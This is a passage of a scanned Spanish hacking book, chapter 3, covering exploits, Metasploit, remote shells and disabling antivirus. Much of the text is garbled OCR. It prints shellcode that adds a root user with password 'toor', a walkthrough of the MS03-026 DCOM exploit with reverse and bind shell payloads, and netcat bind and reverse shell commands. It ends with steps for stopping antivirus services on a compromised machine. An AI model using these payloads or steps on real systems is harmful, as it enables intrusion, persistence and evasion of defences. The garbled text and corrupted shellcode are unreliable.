    b) Exploits Remotos. A diferencia de los anteriores, estos exploits seejecutan en una maquina que no es objetivo del ataque, esta maquina seencuentra en Internet 0 en la red local donde esta conectado el objetivo. Sufuncionamiento es similar al de los exploits locales, sin embargo se

    3

    dtP(

    SIl

    01:apcoeldi:yauqu

  • 19uajelante),tos enonnas

    RA-MA

    muysiblesquinatadosieden: esteparararuna del

    ninacuesemamese seconrita~ lante:

    RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 103

    mov ebx, espinc ecxmov ch, Ox04int OxBOxchg eax, ebxcall. getstr

    db "ABC:AAnv3m3Svbc/g:O:O: :/:/bin/sh"getstr:pop ecx

    mov edx, [ecx-4]push byte Ox04pop eaxint OxBOpush byte OxOlpop eaxint OxBO

    /*c6digo en hexadecimal separado en bytes, con codificaci6nAlpha2 que permite anadir a un sistema Linux un usuario"root" y un pasword "toor", la shellcade esta escrita paraincluirla en un exploit escrito en lenguaje c*//* linux_ia32_adduser - LSHELL=/bin/sh LUSER=root LPASS=toorsize=244 Encoder=Alpha2 http://~etasploit.com */unsigned char scade[] ="\xeb\x03\xS9\xeb\xOS\xe8\xfB\xff\xff\xff\x49\x49\x49\x49\x49\x49""\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\xSl\xSa\x6a\x41""\xSB\x30\x41\x31\xSO\x41\x42\x6b\x42\x41\xSl\x32\x42\x42\x42\x32""\x41\x41\x30\x41\x41\x5B\xSO\x3B\x42\x42\x75\x4a\x49\x50\x31\x6a""\x69\x4 f\x79\x6a \x6b\x32\x4a \x63\x7.6\x71 \x4B\x7B\x4d\x6d\x50\x71""\x7a\x74\x4S\x46\x3B\x76\x51\x4b\x79\x46\x31\x32\x4B\x33\x43\x43""\x43\x72\x57\x6S\x34\x61\x7B\x46\x4f\x34\x6f\x44\x30\x71\x71\x42""\x4B\x66\x4f\x33\xSS\x74\x34\x71 \x73\x4e\x69\x7a\x43\xSl \x51\x6e""\x55\x44\x44\xSa\x6d\x6d\xSO\x4c\xS3\x69\x7B\x61\x32\xS3\x30\x6S""\xSO\xS3\x30\x44\x32\xSO\x6f\x70\x6f\x70\x74\x37\x4a\x63\x71\x72 II"\x61\x73\x45\x71\x77\xS6\xSl\x70\x37\xSS\x61\x62\x4a\x43\x55\x30" ."\xSO\x30\x63\x42\x66\x32\x4f\x67\x4a\x66\xSO\x36\xSa\x30\x30\x74""\x7a\x46\xSa\x74\x6f\x46\xSa\xS4\x6f\xSl\x72\x72\x49\x72\x4e\x64" ."\x6f\xS2\xS3\x71\x7B\x65\xSa\x72\x79\x4c\x4b\x42\x71\x4b\x4c\xSO"

  • \.-MA

    x68

    lerazane lae la

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 105

    diferencian en que estos explotan el error a traves de informacion que seenvia por la red. Segun como se realice el ataque podemos clasificar estosexploits en tres tipos:

    iajerrta~uecon4,,",ununidaleiha

    deasdaIaon

    laill

    ta;e

    e

    I

    Ataques a traves de una pagina Web: son paginas HTML quecontienen un script generalmente escrito en ellenguaje Javascript,el cual permite explotar un error en el navegador 0 en el sistema dela victima y asi ejecutar el codigo de un payload.

    Ataque a un servicio que corre en un puerto: este es el ataquemas comun, la metodologia de estos exploits es la de enviarpaquetes con la shellcode y los datos necesarios para provocar elerror a un servicio de la maquina objetivo, esta informacion seenvia a traves de un puerto de la victima donde el servicioproblematico esta iniciado. Estos exploits no solo sirven paracargar un payload en el sistema atacado, sino que se puede utilizarpara realizar ataques de denegacion de servicios por ejemplo atraves del envio masivo de paquetes de datos de tamafioconsiderable.

    Ataque SQL Injection: se trata de un metoda de ataque que estaen pleno auge, este tipo de exploits se conectan a la base de datosde la victima e inyectan sentencias SQL, las cuales permitenrealizar desde modificaciones en la base de datos atacada hastaejecutar comandos en la maquina victima.

    3.1.4 Obtencion, compilaclon y utilizacinn de exploitsUna vez visto el concepto y los tipos de exploit existentes en la red, es hora

    de recopilar informacion sobre el sistema vulnerable que queremos atacar parapoder encontrar asi un exploit adecuado al bug que tenga.

    En Internet podemos encontrar dos tipos de exploit caracteristicamentesimilares pero que tienen un elemento clave que los identifica y los diferencia. Esobvio que a cualquier hacker le interesara tener un exploit que sea capaz deaprovecharse de un error que aun no tiene solucion, parche 0 actualizacion, ya quecon esta herramienta podra acceder a todos aquellas maquinas que tienen instaladoel software vulnerable. Bajo esta premisa, se encuentra el elemento clave quediferencia a los dos tipos de exploits. El primer tipo de exploits se denominan O-dayy engloban a todos aquellos que son capaces de explotar una vulnerabilidad queaun no ha sido solucionada; este tipo de exploits es bastante dificil de encontrar yaque se mueven por circulos privados a los que normalmente no se tiene acceso. EI

  • 106 HACKING Y SEGURIDAD EN INTERNET RA-MA

    segundo tipo de exploits abarca aquellos que no son O-day, suelen ser mucho masfaciles de encontrar ya que se publican en Webs publicas y en bases de datos devulnerabilidades tipo Bugtraq. Por muy viejo que sea un exploit, no hay queminimizar su importancia, debido a que siempre se podra utilizar en la red contraalguna maquina objetivo cuyo administrador no parchea su sistema.

    Existen una infmidad de exploits dentro de la gran red de redes, s610 hayque saber buscarlos correctamente y asi podremos encontrar los mas recientes sinningun problema. Lo mas interesante sera siempre buscar exploits O-day enInternet. Estos son bastante dificiles de hallar con una simple busqueda conGoogle; si se quieren conseguir debemos acudir a charlas sobre hacking en losChat de la comunidad IRC, 0 a foros especializados del tema, como el de la Webhttp://www.elhacker.net. Existe una Web donde programadores, grupos deseguridad y de hacking publican exploits de los bugs que han encontrado yestudiado, estan ordenados segun la clase del exploit y la fecha de publicaci6n yadernas, en ocasiones se pueden encontrar O-days; dicha Web eshttp://www.milwOrm.com.

    II

    Figura 3-7. Pagina dedicada a exploits http://www.milwOrm.com

    1

    ff(

    Jl

    E

    1r

    nd11C

    Pa

  • A-MA

    mas,s dequemtra

    hay; sinJ enconlos

    Webde

    o ymyes

    RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 107

    Esta Web no s610 contiene una coleccion de exploits que se actualizan casidiariamente, sino que alberga una coleccion de shellcodes, documentos y videossobre el uso de ciertas tecnicas de hacking e intrusion en sistemas, con lautilizacion de herramientas muy importantes como es el Metasploit Framework(del que se hablara mas adelante).

    La mayoria de los exploits de Internet vienen en ficheros de texto planoque albergan el codigo fuente que se va a ejecutar. Este codigo suele estarprogramado en lenguajes como C,. Perl y Python, y estan preparados paraejecutarse bajo diferentes plataformas como los sistemas Windows, Linux, Solaris,etc. Muchos de estos exploits siguen un patron divulgativo y estan preparados paraprobar una cierta vulnerabilidad pero sin causar ningun dana; esta caracteristica sedenomina PoC (Probe of Concept, prueba de concepto), y suele distinguirse por lashellcode que se utilice, 10 habitual es que se use un payload que ejecute lainofensiva calculadora de Windows por ejemplo u otro programa que permitacomprobar que el bug existe y el exploit funciona.

    Para poder ejecutar el exploit elegido, primero se ha de tener en cuenta queshellcode se utiliza, como es bastante dificil saber que es 10 que hace el payloadexactamente, es recomendable cambiarlo por otro que tenga el mismo numero debytes y as! asegurar el sistema de posibles problemas. El paso siguiente a este escompilar el exploit; para ella necesitamos saber para que plataforma ha sidodisefiado (Windows, Linux ... ) ya que las funciones que se utilicen en el codigopueden provenir de librerias (bibliotecas) diferentes, que esten preparadas p~radistintos sistemas. Compilar no es una tare a sencilla pues en muchas ocasiones seimportan ficheros fuente que nuestro compilador no tiene; este problema es muyfrecuente en los exploits que estan escritos en C 0 en C++. Existen en Internet unagran variedad de compiladores gratuitos que poseen un gran abanico de bibliotecasde funciones, uno muy recomendable es el Lee- Win32, que puede descargar dehttp://www. q-software-solutions. del downloadersls how _download_locations. Existeun excelente compilador gratuito que Microsoft ha puesto a disposicion del publicoen su pagina Web, se trata del Visual C++ 2005 en su version Express Edition, esla edicion mas basica, pero mas que suficiente para compilar y generar nuestropropio codigo sin ningun problema.

    La utilizacion y manejo de los exploits depende de varios factores queinfluyen segun se realice el ataque a un objetivo local 0 remoto, a traves de unadenegacion de servicio 0 para la ejecucion de un cierto comando, etc. Normalmentelos exploits locales trabajan con la simple ejecucion del codigo compilado en laconsola del sistema, aunque en ocasiones, necesitan el paso de informacion porparametro relativa a la plataforma qu~ se utilice, la direccion de un directorio 0archivo en particular, etc. Los exploits:remotos suelen necesitar una serie de datos

  • 108 HACKING Y SEGURIDAD EN INTERNET RA-MA

    de conexion para que puedan ejecutarse correctamente, algunos de estos datos sonla IP de la victima, el puerto objetivo de ataque de la maquina victima, el puerto desalida del ordenador donde se lanza el exploit, etc.

    Nota: cada.maestro tiene su librillo, y cada exploit tiene su creador, por 10 quemuy frecuentemente la interfaz de uso de estas herramientas cambia unas deotras, por 10 que en este libro se recomienda documentarse ampliamente sabrela utilizacion y funcionamiento de los exploits antes de su ejecuci6n.

    ,j

    En la siguiente imagen se muestra la utilizacion de un exploit antiguo, peroque por su rapida difusion se hizo muy famoso; fue el vector de ataque que utilizoel gusano Blaster, el cual en pocos dias infecto a miles de miles de usuarios de lared. Este exploit vulneraba un fallo del servicio remoto DCOM que permitia laejecuci6n de c6digo malicioso en la maquina victima. EI exploit usado se llamakath2, se encuentra en la Web del autor http.r/www.haxorcitos.com, estaherramienta esta pensada para vulnerar masivamente equipos remotos que tenganel sistema Windows 2000 sin parchear ante esta vulnerabilidad. Para poderejecutarlo hay que pasarle a traves de la consola de Windows un range de IP quepertenezcan a las maquinas objetivo; si alguna tiene el bug del servicio DCOM,aprovechara el error e inyectara un payload que ejecuta una shell directa en nuestraconsola. Se ejecuta escribiendo en consola Kath.exe (Kath.exe192.168.1.4 192.168.1.8):

    I~

    'III

    Figura 3-8. Obtencion de una shell remota de una mdquina atacada con el exploitKath2.exe.

    (

    J(

    I.

    1

  • \.

    1

    o6aa.a:an~rle1,~a~e

    RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 109

    3.1.5 Penetrando la red con Metasploit FrameworkEn 1aactualidad, 1aseguridad de los equipos de trabajo y servidores es un

    elemento crucial que cualquier administrador debe asumir como uno de susobjetivos principales. La gran cantidad de software vulnerable que existe en e1mercado ha hecho que los hackers sean capaces de desarrollar exploits disefiadoscontra sistemas que aun no tienen un parche 0 actualizaci6n disponible delfabricante, capaz de subsanar el bug encontrado. Ante este problema, eladministrador de un equipo debe estar preparado para afrontar cualquier error deseguridad, que sea capaz de comprometer el sistema y los datos de sus maquinas detrabajo. Para hallar una soluci6n a este confiicto, el administrador debe ponerse enla piel de un hacker e intentar vulnerar el mismo la seguridad de sus equipos.

    Metasploit Framework es una herramienta disefiada por 1a comunidadunderground para el testeo y penetraci6n de maquinas remotas 0 locales a travesdel uso de exploits. Esta utilidad permite realizar pruebas de seguridad en equiposcon software que esta sujeto a una posible vulnerabi1idad, con 10 que unadministrador puede comprobar el nivel de confianza que su sistema ofrece frente aun ataque externo.

    Nota: como es obvio, Metasploit es una herramienta de doble filo, ya que unhacker puede usar dicha utilidad para penetrar en un equipo remoto utilizandouno de los exploits que se aprovecha de un error del sistema objetivo.

    En las versiones anteriores a la 3.0 de Metasploit Framework, el c6digofuente de los exploits y el desarrollo del programa se habia escrito en su mayoriacon el lenguaje de programaci6n Perl; en Ia ultima versi6n estable de esteprograma, el codigo fuente se ha realizado en Ruby como lenguaje deprogramaci6n principal. En este apartado se va a exponer la utilizaci6n deMetasploit en su versi6n mas reciente 3.0, cuya ventaja principal es el uso. de unainterfaz Web como medio de comunicaci6n con el usuario.

    Los exploits que se manejan en esta herramienta se clasifican siguiendouna jerarquia de m6dulos y se diferencian segun el error que se ha vulnerado, elsistema operativo al cual esta destinado y el tipo de programa al que pertenece elsoftware vulnerable. Cada exploit se genera de forma distinta segun los parametresque se necesiten; estos datos se deben establecer y personalizar en la plataforma deMetasploit antes de su ejecuci6n. La base de datos de exploits se puede actualizaron-line desde Internet 0 a traves de la pagina Web principal del programa,httpi//www.metasploit.com/.

  • 110 HACKING Y SEGURIDAD EN INTERNET RA-MA

    A parte de una gran coleccion de exploits, Metasploit almacena unconjunto de payloads ordenados segun el sistema operativo al que este destinado.Cada shellcode tiene una serie de opciones que se deben configurar antes degenerar el c6digo, el cual se codifica siguiendo un sistema de codificacioncaracteristico que se elige junto con las demas opciones, y que permite crearpayloads personalizados cuyo tamafio de bytes es diferente.

    I

    t[I

    I~

    Metasploit Framework se comunica con el usuario a traves de dosinterfaces distintas que permiten una mejor configuracion de los parametres que seindiquen. En las versiones anteriores a la 3.0, la consola de comandos del propioprograma era el medio mas comun por el cual se elegia, personalizaba y ejecutabaun exploit de los posibles m6dulos que existen en la base de datos. Con estaconsola se tiene acceso a todos los exploits, payloads y modules auxiliares, ademasde poder realizar todas las operaciones que Metasploit permite.

    En las versiones mas recientes, se ha incorporado una nueva interfaz masamigable y facil de usar: se trata de una pagina Web que se ejecuta dinamicamentea traves de un servidor del propio programa. La pagina se inicia de forma local(127.0.0.1) usando un navegador del sistema, con cl protocolo http y en el puerto55555 (http://127.0.0.1:55555) entramos en la interfaz. Las configuraciones que serealizan con esta interfaz se hacert a traves de cajas de texto provenientes deformularios, que hacen referencia a los parametres requeridos del exploit seguncada caso.

    Nota: en la versi6n utilizada en este apartado, la consola se ejecuta dentro de la. pagina Web que el servidor de Metasploit inicia.

    :k> .A:t:;~i'I.~~,!I.U1iUitr&-:L;':}.s;

  • unjo.deon~ar

    osseliobaitaas

    astealto

    Iem

    ]

    RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... III

    Todos los modulos que se exploten contra una maquina objetivo, usandopara ello la interfaz Web, se ejecutan a traves de la consola del programa. Por estaraz6n, se explicara primero el funcionamiento y los comandos de la consola deMetasploit, y despues el uso de los formularios de la pagina Web de estaherramienta.

    En las practicas para ver el uso de la aplicacion y comandos deconfiguracion, se utilizara el famoso exploit para el servicio RPC, que el gusanoBlaster usa para propagarse por la gran red a miles de usuarios en pocos dias.

    3.1.5.1 CONFIGURACION Y EJECUCION DE EXPLOITSMEDIANTE CONSOLA

    Lo primero de todo es ejecutar la consola de Metasploit desde el linkConsole de la Web local, que se inicia a traves del acceso directo del programa.Tras esto, aparecera una ventana con fondo negro y un cursor colocado junto a laexpresi6n msf >, esta es la consola donde se ejecutara los comandos y parametresdel programa.

    Figura 3-10. Consola de Metasploit Framework ejecutada desde la interfaz de lapagina Web del programa

  • I"

    112 HACKING Y SEGURIDAD EN INTERNET RA-MA

    Si en la ventana de la consola se usa la sentencia help aparecera una listade los posibles comandos del programa seguidos de una breve descripcion. Elprimer comando que se necesita es show [options, exploits, payloads ... ], el cualpermite listar el conjunto de datos que forma el argumento especificado porparametro, asi por ejemplo, si hemos especificado como argumento la palabraexploits, aparecera en la consola, ordenados por el sistema operativo, el conjuntode exploits que estan disponibles en esta herramienta. Si no escribimos ningunparametro al comando show, se listara la base de datos completa de Metasploitclasificada segun exploits, modulos auxiliares, codificadores, payloads, etc.

    Para continuar con las pautas de la practica, se debe elegir un exploit de lalista de modulos que contiene el programa. En este ejemplo se va explotar unfamoso fallo del servicio RPC del SO Windows cuyo modulo se denomina"windows/dcerpc/ms03_026_dcom". A traves del comando use seselecciona y se carga el exploit elegido que se quiere ejecutar. Al hacerl0,aparecera una extension de la expresion inicial msf > con el nombre del moduloelegido msf windows/dcerpc/ms03 _026_dcom >.

    El siguiente paso es configurar las opciones que necesita el exploit para sucorrecta ejecucion, Todo modulo sigue tres pautas que se repiten siempre de formaordenada para que el exploit pueda funcionar correctamente:

    ",

    Figura 3-11. Lista de exploits de Metasploit Frameworkfruto del uso del comandoshow .

  • a:III

    aonit

    anae

    o

    ua

    RA-MA CAPITIJLO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS... 113

    Cualquier modulo que se cargue necesita normalmente unos parametres deconfiguracion requeridos, estas opciones se establecen con el uso de diferentesvariables segun el exploit. Con el comando "show options" se pueden ver lasvariables necesarias de un m6dulo a traves de una tabla formada por columnas, quehacen referencia al nombre de la variable, el dato que contiene por defecto, si esrequerido 0 no, y por Ultimo, una breve descripcion del objetivo de dichopanimetro. Para establecer valores a las variables del exploit se necesita usar elcomando set con la siguiente sintaxis: set ; en nuestro ejemplo,si la maquina objetivo posee una IP 192.168.1.6, en la consola del programa seescribira la sentencia set RHOST 192.168.1.6, con 10 que se establecera la variableRHOST con el valor de la direccion IP.

    Nota: si se quiere borrar el contenido de una variable, basta con usar elcomando unset . Esta senten cia es muy util para modificarvalores err6neos en los parametres del exploit que se este configurando.

    La siguiente pauta consiste en elegir una shellcode que se vaya a utilizar enel exploit. Para afiadir un payload a la configuracion, se escribe dentro de lavariable PAYLOAD el nombre del modulo que 10 contiene. En nuestro caso

    - - - -Figura 3-12. Tablas de opciones de configuracion del exploit y el Payload resultado defa ejecuci6n del comando "show options" y configuracion de la variable "LHOST"

  • ~r'"r fij

    I

    I'

    114 HACKING Y SEGURIDAD EN INTERNET RA-MA

    utilizaremos una shellcode que permite conseguir una shell revers a de la victima atraves de un puerto; la sintaxis que se pondria en la consola de Metasploit es lasiguiente: set PAYLOAD windows/sheWreverse_tcp. Los payloads poseentambien una serie de parametres requeridos que deben ser configurados; para verlas variables pedidas se usa otra vez el comando show options, en este caso semuestran por pantalla no solo los datos relativos al exploit, sino aquellos valoresque son necesarios para el payload.

    '1'i,11

    IIIiI ,:.'!I

    ,I

    "I'I~ '1..II

    I,

    UID~III .\f ~I' II~~

    I r '''III :

    Tan s610 queda un ultimo paso: una vez que todos los parametresrequeridos estan establecidos, se ejecuta el exploit contra la maquina victima. E1comando que inicia este proceso es exploit. Una vez puesto en marcha el m6dulo,la consola mostrara por pantalla informacion relativa a eventos que indican si elexploit ha funcionado correctamente.

    Figura 3-13. Proceso de ejecucion del exploit a traves del comando"exploit"

    3.1.5.2 CONFIGURACION Y EJECUCION DE EXPLOITSMEDIANTE INTERFAZ GRA.FICA

    Desde la versi6n 2.3 de Metasploit Framework se incorpor6 rn: nuevo tipode interfaz de comunicaci6n con el usuario basada en,implementaciones graficas de

  • ). '

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 115

    una pagina Web; esta se ejecuta a traves de un servidor que el propio prograrnainicia de forma local.

    Para usar este tipo de interfaz se necesita tener primero iniciado el servidorWeb. En las versiones anteriores a la 3.0, se requiere ejecutar la aplicacion"msfwebv para ejecutar dicho servicio, en la ultima version del programa, solo esnecesario lanzar el acceso directo de Metasploit, pues la mayoria de lasconfigura~iones que se hacen con este programa se realizan via Web local.

    La interfaz es visible desde un navegador Web con la siguiente url:http://127.0.0.1:55555. Configurar y ejecutar un exploit desde aqui esrelativamente sencillo e intuitivo. Lo primero que se debe hacer es elegir un exploitque se adapte a la vulnerabilidad de la victima y sea capaz de explotarla. Dentro dela pagina Web, una vez iniciada, se puede observar una barra de botones colocadosen la parte superior de la pantalla. Entre estes figura uno con el nombre Exploit; sihace clic en el, se abrira una ventana mas pequefia con una lista de los exploitsdisponibles en la base de datos. -

    Microsoft RPC DCOM Interface Overflow

    lrhiS mOdule-;;IOits ~~;~k ov~ow in th;RPCSS ~er.ic;ihIs~~erabilitywas o~i~allyfound by~e '"!Last Stage of Oelirtum research group and has bee Widely exploited 8'ler since. This moduleI exploit the English versions of Windows NT to SP3-6a. Windows 2Dt0' Windows lW, and12~~~.~~~~~~:.~:~~~~t:)..".__~.....:.__.~.. ~..L-.:1~. ,.__.J:~ _ .".~..~ .._.,,_. c,..;;.;,,' ~~-'..:..i,

    Figura 3-14. lnterfaz Web con la ventana de exploits desplegada

  • ~!lltj:,

    116 HACKING Y SEGURIDAD EN INTERNET RA-MA

    En este ejemplo se va a utilizar el exploit que vulnera el error del servicioRPC. Para ello se utiliza el modulo con el nombre Microsoft RPC DCOM InterfaceOverflow. Al ejecutar el link, se abre otra ventana que contiene una parte conreferencias a documentos extemos que hablan de esta vulnerabilidad, y otra zonamarcada en color mas oscuro con un membrete "Select a target to continue:",donde se elige el sistema operativo que po see el objetivo.

    El siguiente paso es seleccionar un payload apropiado dentro de losposibles shellcodes que posee Metasploit. Siguiendo el ejemplo, se va a utilizar unashellcode que abra una puerta trasera en el equipo victima por la cual se puedaejecutar una shell de forma directa. El payload seleccionado se denomina"windows/ shell_bind_tcp".

    windows/meterpreter/find tag

    wind ows/meterpret er/reverse http

    wind ows/meterpret er/reverse ord tcp

    wind o'lIIsImeterpret ar/reverse tcg

    windowslshelVbind tcg

    windows/shelVfind tag

    wind DWs/snelVreverse http

    wind ows/shelVreverse ord tcp

    Windows/sheil reverse tcg

    ',\lindows/upexec/bi nd tep

    wind ows/upexecl1ind taq

    Listen for a connect ion, Inject the meterpreter server DLL

    Use an established connection, Inject the meterpreter server DLL

    Tunnel communication over HTTP using IE 6, Inject the meterpreter server DLL

    Connect back to the attacker, Inject the meterpreter server DLL

    Connect back to the attacker, Inject the meterpreter server DLL

    Listen for a connection, Spawn a piped command shell

    Use an established connection, Spawn a piped command shell

    Tunnel communication over biTTP using IE 6, Spawn a piped command shellConnect back to the attacker, Spawn a piped command shell

    Connect back to the attacker, Spawn a piped command shell

    Listen for a connect ion and spawn a command shell

    Disable the Windows ICF, then listen for a connection and spawn a command shell

    Connect back to att acker and spawn a command shell

    Listen for a connect ion, Uploads an executable and runs it

    Use an established connection,-Uploads an executable and runs it

    Tunnel communication over HTTP using IE 6, Uploads an executable and runs if

    Figura 3-15. Interjaz web con la ventana de payloads desplegada

    Cuando se selecciona la shellcode se carga una ultima ventana donde seconfiguran los parametres y las opciones del exploit y del payload elegido. Con elejemplo, la caja de texto correspondiente ala etiqueta RHOST se rellena con la IP

  • IA

    to-;e

    mia"

    osIla

    iaaa

    se. elIP

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 117

    de la victima 192.168.1.6, los demas parametres se pueden cambiar aunque tienenun valor establecido por defecto.

    Por ultimo solo queda ejecutar el exploit a traves del boton LaunchExploit; al hacerlo, se abrira una ventana con la consola del programa por la cualse inicia el proceso de explotacion de la maquina objetivo. Debido al uso de unashell directa como payload, el propio Metasploit se conectara a la victimautilizando para ella la consola ya abierta.

    E~plolt launched. It the exploit eensele window does not appear. pi ... ,. click llta.

    Plaasa enter all of the required options and press launch Exploit' to continue.

    CURRElfT CONFiqURATlO,N CHANGE PA'tl04D.EXPLOITTARGETPAYLOAD.,

    windowsldeerpc/ms03 _026_ deom

    Windows NT SPJ.Sal2OO:llXPl2OO3 Universal

    windows/shell_bind_lcp

    i,.

    RHOST

    1192.168.1.6The larget address Oype: address)

    RPORT

    The target port Oype' port)

    EXm:UHC

    Ed techmque: seh, thread, process (type: raw)

    LPORT

    The local pan (type: port)

    ReqUl:"d

    Launc~ Explott

    ADVANCED OPTIONS

    r),> }l!'?:'1{;,,;:I.~.:~-''7.Figura 3-16. InterJaz Web con la ventana de opciones del exploit y del payloads

    desplegada

  • II' .,

    118 HACKING Y SEGURIDAD EN INTERNET RA-MA

    ,I~,,.:1-i !~." ..

    mUI

    , Irl

    EXPLOITTARGETPAYLOAD

    RHOST

    Figura 3-17. Interfaz Web can la ventana de consola desplegada despues de haberejecutado el exploit del RPC

    Metasploit es un excelente proyecto de investigaci6n y una herramientacada vez mas sofisticada y que se ha ganado su lugar entre los amantes de lapenetraci6n a sistemas. Existe otra variante comercial, muy difundida entredepartamentos que someten a testing de penetraci6n sus sistemas; segura que sivisita de forma asidua www.securityfocus.com, 'Ia habra visto anunciar, hablamosde "Core Impact". Core Impact se basa en los mismos principios de aplicaci6n queMetasploit, pero desde el punto de vista comercial, con un conjunto dedesarrolladores que procuran tener la mejor base de datos de exploits actualizadacada momento.

    3.2 UTILIZANDO UNA SHELLLa mitad del trabajo ya ha sido realizada, La busqueda de vulnerabilidades

    y la penetraci6n ha sido exitosa, gracias a las herramientas comentadas hasta estepunto del capitulo, 0 gracias a herramientas analogas, Se ha encontrado un exploitque vulnera el sistema operativo 0 aplicacion y se abre 'una consola de linea de

  • nta: laitre~ SI

    nosquede

    ada

    idesesteiloitL de

    RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 119

    comandos, GYahora que? Es aqui donde empieza la segunda fase del ataque a unsistema, donde estando una vez dentro debe empezar a planificar como va amantener su posicion dentro del sistema 0 en algunos casos obtener los permisos deadministrador. Aqui es donde rinde frutos el estudio profundo de un sistemaoperativ?, porque ese conocimiento se convierte en el arma del atacante.

    La consola de lineas de comando es la interfaz mas comun al momenta deatacar (0 administrar) remotamente. La obtencion de una consola remota se conocecomo shell 0 cmd remoto. Existen dos tipos de shell, utilizando una mediante unaconexion directa a los sistemas 0 bien una de conexion revers a tambien a lossistemas. Las tecnicas Y el metodo de uso se explicaran a continuacion,

    3.2.1 Shell directaEl objetivo es simple: obtener una interfase para el control remoto de un

    ordenador. Esto es un proceso de simplemente redirigir el trafico obtenidomediante un puerto y concatenar ese flujo de datos a un programa local. EI exploitmas sencillo es el que simplemente deje un puerto abierto a la escucha enordenador remoto y desde el ordenador local se conecte directamente. Esto sepuede lograr-mcdiante el uso de neteat, la navaja suiza de los administradoresyhackers en la red. Esta es una herramienta sencilla parecida al c1iente telnet perocon mucha mas capacidad que tan solo conexi ones remotas. Se puede obtener unaversion para Windows desde http://www.vulnwatch.org/netcat/ y para Linux sepuede instalar desde los repositorios de las distribuciones mas conocidas comoDebian, Red Hat 0 Suse. Para obtener una shell directa con neteat, se puederealizar 10 siguiente:

    En el ordenador victim a

    C:\>nc -l-p 37337 -e cmd.exe

    En el ordenador atacante

    C:\>nc direccion victima 37337

    La sintaxis de conexion de neteat es igual a la de telnet. En la primerainstruccion, se deja a neteat a la escucha en el puerto 37337, poniendo en dichopuerto un cmd.exe; cuando se realice una conexi on TCPIIP, se ejecutainmediatamente una linea de comandos en la maquina de la persona que realiza laconexion. Una vez realizada la conexi on, la consola ofrece el prompt del sistemaoperativo victima. La conexion directa es el uso mas comun de netcat, sin embargoesto no siempre funcionara. Los 'ordenadorea hoy en dia estan protegidos por

    .: .-,

  • 'I II"

    120 HACKING Y SEGURIDAD EN INTERNET RA-MA

    I.. firewalls 0 routers que por defecto no dejan a la comunicacion entrar. De estamanera, aunque se tenga acceso local al ordenador y se configure un backdoormediante netcat de forma directa, nunca se podra realizar una conexion desdefuera de la organizacion hacia adentro.

    3.2.2 ShellreversaMientras que el firewall no permite conexi ones entrantes no autorizadas,

    norrnalmente la red interna es clasificada como confiable y esto significa quepermite las conexi ones desde adentro hacia fuera de una manera menos estricta 0por 10 menos suele ser mas perrnisiva con este tipo de conexi ones que salen de laorganizacion, Sabiendo esto, se pueden modificar las instrucciones de netcat paraque este se conecte al ordenador atacante. Para lograrlo, puede ejecutar lassiguientes instnicciones:

    C:\>nc -v -1-p 37337

    Desde el ordenador atacante

    Desde el ordenador victim a

    'I'i,1Io C:\>nc direcci6n atacante 37337 -e cmd.exe

    Nota: al realizar la conexion, puede no aparecer el prompt de la linea decomandos de Windows. Pudiera parecer que no funciono la shell revers a,pero si empieza a ejecutar comandosdesde la ventana donde se dej6 elnetcat a la escucha vera como responde el ordenador victima.

    I,

    Esta tecnica es conocida como la conexi6n 0 shell reversa. Como se realizala conexi6n desde adentro hacia afuera, para el firewall es una sesi6n en algunoscasos transparente y permisible. Este es el metodo preferido de conexion de lamayoria del malware existente en Internet, servidores troyanos que se conectandesde adentro a un cliente en Internet. Esto es el caso de troyanos como el famosoflux. Esto tambien se puede lograr can los exploits encontrados en metasploitframework eligiendo el payload adecuado, identificable par su nombre con lapalabra clave reverse.

    'jIH ,

  • 3,.eo.a~alS

    zaoslaill

    SO

    litla

    RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 121

    Nota: la migraci6n de netcat 0 DC a Windows le ha dotado de 'algunosparametres adicionales para su usa, que puede no ver en su equivalenteversi6n para Linux. Para obtener todos los parametres utilizables en laversi6n de que disponga, basta con ted ear DC -h.

    3.3 DESACTIV ANDO EL ANTIVIRUSEstando dentro del ordenador victima es tan s610 el primer paso a la gloria.

    Muchos ordenadores ya vienen con antivirus instalados por defecto. En elmomenta que se quiera subir las herramientas de hacking al ordenador victima, elantivirus instalado no 10 permitira y dara alerta al usuario indicando que seencontr6 rnalware del tipo hacktool (herramienta de hacking). Para evitar esto,habra que primero encontrar el antivirus y desactivarlo.

    Para lograr la desactivaci6n del antivirus, 10 primero a investigar es siexiste alguno. Si ha comprometido el sistema y entra en el directorio de Archivosde Programa, revise que programas hay instalados y verifique si alguno de ellos esun- antivirus. Cada program a antivirus levanta un servicio en Windows que seocupan para la constante monitorizaci6n de los recursos del sistema. Estos setendran que detener y despues matar el ejecutable.

    Desde la linea de comandos se puede realizar la tarea de dar de baja elservicio mediante los comandos net de Windows. Estos comandos se estudiarancon mas detalle en un capitulo posterior. El unico que necesita conocer por estemomenta es net stop, que es el comando que se ocupa de detener servieios enentomos de Microsoft. Otra utilidad necesaria sera taskkill, que sera ocupado paramatar el proceso. Esta ultima herramienta existe en versiones posteriores aWindows XP Profesional y Windows 2003. Para Windows 2000 existe el antecesora esta herramienta llamada kill. .

    Lo primero a hacer es estudiar que servicios y procesos corren para elantivirus que se quiera desactivar. Cada antivirus es distinto y podria funcionar ladesactivaci6n tanto como no. Puede probar usted mismo instalando el antivirus quees de su interes para desactivarlo en su propio ordenador y ver los nombres de losservicios accediendo al panel de administraci6n.

    A este panel de administraci6n se puede acceder haciendo die con el bot6nderecho del mouse sobre el icono de Mi PC y luego seleccionar Administrar. Otramanera es ir a Inicio->Ejecutar y escribir en el dialogo services.msc para luegopresionar el bot6n de aceptar. Aparecera el listado de todos los servicios que tiene

  • 122 HACKING Y SEGURlDAD EN iNTERNET

